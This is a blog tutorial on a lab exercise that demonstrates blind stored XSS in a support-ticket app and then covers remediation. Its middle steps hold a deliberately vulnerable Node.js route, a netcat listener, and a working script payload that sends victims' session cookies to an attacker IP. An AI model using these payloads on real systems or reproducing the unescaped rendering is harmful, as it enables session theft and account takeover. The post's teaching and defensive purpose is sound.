DEV Community

Cover image for Stored XSS: How Unsanitized Input Leads to Script Execution
Jer Catallo
Jer Catallo

Posted on

Stored XSS: How Unsanitized Input Leads to Script Execution

Stored Cross-Site Scripting (XSS) is one of the most dangerous web vulnerabilities. When an application saves user input without proper validation, malicious scripts can persist in the database and execute in other users' browsers. Blind stored XSS is different because the attacker cannot see the response directly. Instead, they use external payloads to capture data like session cookies from victims.

This project uses the broader Stored XSS name. More specifically, the attack flow shown here is a blind stored XSS subtype, because the attacker does not see the payload execute immediately and waits for an external callback instead.

This guide shows how this attack works, how attackers steal sessions, and how you can protect your applications from this threat.

Vulnerable Code Example

Here is a simple Node.js route that saves user input without sanitization:

// Vulnerable: User input is stored and rendered without encoding
app.post('/ticket', (req, res) => {
  const { title, description } = req.body;
  db.save({ title, description }); // Direct save to database
  res.redirect('/ticket/view');
});

app.get('/ticket/view', (req, res) => {
  const ticket = db.getLatest();
  res.send(`
    <h1>${ticket.title}</h1>
    <p>${ticket.description}</p> <!-- Direct rendering, no encoding -->
  `);
});
Enter fullscreen mode Exit fullscreen mode

The problem is clear: user input goes straight into the database and then renders as raw HTML. Any script tag or event handler will execute when another user views the ticket.

Ethical Considerations

  • Only test on applications you own or have written permission to assess
  • Never deploy XSS payloads against production systems without authorization
  • Use local labs or bug bounty programs for practice
  • Report findings responsibly through proper disclosure channels

Step 1: Find the Ticket Creation Page

The first step is to locate where users can submit content. Support ticket systems, comment sections, and profile fields are common targets. In this case, the Acme IT Support application has a ticket system where customers can create support requests.

You can see the "Create Ticket" button on this page. The application stores tickets in a database and shows them to support staff, which makes it a perfect target for stored XSS attacks.

Step 2: Inject a Simple Payload First

Before using a complex payload to steal cookies, you should test if the application is vulnerable. A simple JavaScript alert is a good first test. The payload breaks out of the textarea field and injects a script tag.

The payload used here is </textarea><script>alert('THM');</script>. When this ticket is viewed, the script will execute and show an alert box with the message "THM". This proves that JavaScript can run in the context of another user's browser.

Step 3: Submit the Malicious Ticket

After clicking "Create Ticket", the payload is now stored in the database. You can see the ticket appears in the list with ID 15, subject "Testing123", and status "Open". This is the moment the attack is complete from the attacker's perspective, but the payload has not executed yet.

The stored payload is now waiting to execute in the victim's browser. At this point, the attack is invisible to the application. No alerts or warnings appear, it looks like a normal support ticket.

Step 4: Payload Executes in Victim Browser

When a support staff member (or any user with permission) opens the malicious ticket, the browser renders the stored script without encoding it. The JavaScript runs immediately in their browser context.

The alert dialog confirms the script executed. However, in a real attack, the attacker would not show an alert. Instead, they would silently collect data and send it to their server. Let's look at what the browser source code reveals:

The developer tools reveal the exact code that was stored: <script>alert('THM');</script>. This shows the application rendered the user input directly as HTML without any encoding or sanitization. Any JavaScript code, no matter how malicious, will execute.

Step 5: Set Up External Server to Receive Data

In this stored XSS flow, the attacker cannot see the payload execute directly. This is why this case fits the blind stored XSS subtype. Instead, they need a server listening for incoming requests. The attacker sets up a machine to listen on a specific port and waits for the stolen data to arrive.

The command nc -nlvp 9001 starts a netcat listener. The flags mean: -n (no DNS lookup), -l (listen mode), -v (verbose), -p 9001 (listen on port 9001). Any HTTP request that arrives at this port will be displayed in the terminal. Now the attacker's infrastructure is ready.

Step 6: Inject Advanced Payload to Steal Cookies

Now the attacker submits a new ticket with a more dangerous payload. Instead of just showing an alert, this payload will silently send the victim's session cookie to the attacker's server.

The payload used here is: </textarea><script>fetch('http://10.48.94.112:9001?cookie=' + btoa(document.cookie) );</script>

Let's break down this code:

  • fetch() sends an HTTP request to the attacker's server
  • document.cookie retrieves the victim's cookies
  • btoa() encodes the cookies in base64 to avoid issues with special characters
  • The cookie is appended to the URL as a query parameter ?cookie=...

This payload is silent, the victim will not see any alert or notice anything unusual.

Step 7: Payload Executes and Browser Requests Permission

When the victim opens this malicious ticket, the browser renders the script. The fetch() function tries to access the attacker's server, so the browser asks for permission first.

The permission prompt confirms the JavaScript is executing and trying to make a network request. In a real attack on the public internet, this prompt may not appear depending on browser and CORS settings, but the request would still be sent.

Step 8: Capture the Session Cookie on Attacker Server

The HTTP request containing the stolen cookie arrives at the attacker's server:

The attacker can see:

GET /?cookie=c3RhZmZydGc2Vzcz1vb0QUtZMDVFNTUsNTUxOTc20TNGMDFENKyY4RkQyRDMyMQ== HTTP/1.1
Enter fullscreen mode Exit fullscreen mode

The cookie data is base64-encoded. The attacker can decode it to get the actual session cookie string. With this cookie, they can hijack the victim's session and access their account.

Remediation

To prevent stored XSS, you need to apply these defenses:

1. Output Encoding

Always encode user input before rendering it in HTML. This converts special characters to HTML entities so the browser treats them as text, not code:

// Safe: Encode output before rendering
const escapeHtml = (text) => {
  const map = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#039;' };
  return text.replace(/[&<>"']/g, m => map[m]);
};

res.send(`
  <h1>${escapeHtml(ticket.title)}</h1>
  <p>${escapeHtml(ticket.description)}</p>
`);
Enter fullscreen mode Exit fullscreen mode

With this encoding, if a user submits <script>, it renders as &lt;script&gt; in the HTML and displays as text instead of executing.

2. Input Validation

Reject or sanitize dangerous input at the server level before saving it to the database:

// Validate input before saving
const isValidInput = (input) => {
  const dangerousPattern = /<script|javascript:|on\w+\s*=/i;
  return !dangerousPattern.test(input);
};
Enter fullscreen mode Exit fullscreen mode

This approach blocks the input entirely if it contains suspicious patterns.

3. Content Security Policy (CSP)

Add a CSP header to block inline scripts and restrict external requests. This prevents injected scripts from running even if they get into the page:

Content-Security-Policy: default-src 'self'; script-src 'self';
Enter fullscreen mode Exit fullscreen mode

With this policy, any inline script or script from an external domain will be blocked by the browser.

4. HttpOnly Cookies

Set the HttpOnly flag on session cookies so JavaScript cannot access them. This is the most effective defense because even if JavaScript runs, it cannot steal the cookie:

res.cookie('session', token, { httpOnly: true, secure: true, sameSite: 'strict' });
Enter fullscreen mode Exit fullscreen mode

With this flag, document.cookie will not include the session cookie, so the attacker's payload cannot capture it.

Summary

Stored XSS happens when these three things come together:

  • User input is saved without sanitization
  • The stored content renders as raw HTML for other users
  • Attackers use external payloads to steal data like session cookies

In this example, the behavior is more specific than general stored XSS. It is a blind stored XSS path, because the attacker depends on a later callback from the victim browser instead of seeing the result right away.

The good news is that the fix is straightforward. You can prevent this attack by using output encoding, validating input, setting CSP headers, and marking cookies as HttpOnly. A few lines of encoding can prevent full account takeover and protect your users from session hijacking.

Top comments (0)